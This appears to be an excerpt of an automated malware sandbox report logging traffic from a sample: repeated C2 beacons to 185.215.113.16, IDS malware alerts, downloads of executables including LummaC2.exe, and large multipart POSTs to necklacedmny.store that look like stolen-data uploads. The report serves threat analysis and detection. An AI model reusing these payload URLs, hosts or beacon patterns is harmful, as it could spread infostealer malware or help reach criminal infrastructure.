Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332

Source: Joe Sandbox View	IP Address: 147.135.36.89 147.135.36.89
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3

Source: Joe Sandbox View	ASN Name: TECNALIAES TECNALIAES
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown

DNS query: name: ipwho.is

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49735 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49778 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:50048 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:50075 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49705 -> 162.159.134.233:443

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0Host: ipwho.isConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 52Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12840Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15082Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20572Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 52Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12840Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15082Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1265Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20572Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1255Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 551246Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 52Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12840Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 551247Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15082Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20572Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 87Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1255Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 551247Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 87Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Code function: 2_2_004DBD60 InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,

2_2_004DBD60

Source: global traffic	HTTP traffic detected: GET /attachments/1286706039475015741/1300518838215114933/LummaC2.exe?ex=6721220d&is=671fd08d&hm=31bca25a6562063808f9baa4d06ddb104a4792384ef240b65fa3792577e0284b& HTTP/1.1Host: cdn.discordapp.com
Source: global traffic	HTTP traffic detected: GET /attachments/1286706039475015741/1300606302422044754/uhshdsh.exe?ex=67217382&is=67202202&hm=13583f233ad58023fb89754e68c3247bed0b2e3df764943e53b1226a7c26e027& HTTP/1.1Host: cdn.discordapp.comCookie: __cf_bm=peH_uda1jZZtxDsQ_tcvDA7NwgKLOaqae1cbXEwK4vo-1730174534-1.0.1.1-dxyP.1KWz1NAIV5D1OFuPBGhYoPuq1gbaPV4ACiHYMOyQG9G5OpAlzb9uodk2k8tTjd7mFgXlmIO.88cgRQ6eA; _cfuvid=4XdEyTvWD4_IxdARf3qslSPrtttA5ovxidxRD7UhNw4-1730174534284-0.0.1.1-604800000
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0Host: ipwho.isConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: global traffic	DNS traffic detected: DNS query: cdn.discordapp.com
Source: global traffic	DNS traffic detected: DNS query: b.strongest.network
Source: global traffic	DNS traffic detected: DNS query: ipwho.is
Source: global traffic	DNS traffic detected: DNS query: presticitpo.store
Source: global traffic	DNS traffic detected: DNS query: crisiwarny.store
Source: global traffic	DNS traffic detected: DNS query: fadehairucw.store
Source: global traffic	DNS traffic detected: DNS query: thumbystriw.store
Source: global traffic	DNS traffic detected: DNS query: necklacedmny.store

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: necklacedmny.store

Source: axplong.exe, 00000002.00000002.4522273663.0000000000EE2000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000009.00000002.3005874806.0000000001074000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000009.00000003.2987803540.0000000001072000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.3190170576.0000000000D44000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000002.3202145245.0000000000D44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: 69de3a997f.exe, 00000009.00000002.3005874806.0000000001074000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000009.00000003.2987803540.0000000001072000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/4
Source: axplong.exe, 00000002.00000002.4529848799.0000000005FD0000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000002.4522273663.0000000000F28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php
Source: axplong.exe, 00000002.00000002.4522273663.0000000000F28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php#
Source: axplong.exe, 00000002.00000002.4529848799.0000000005FD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php..
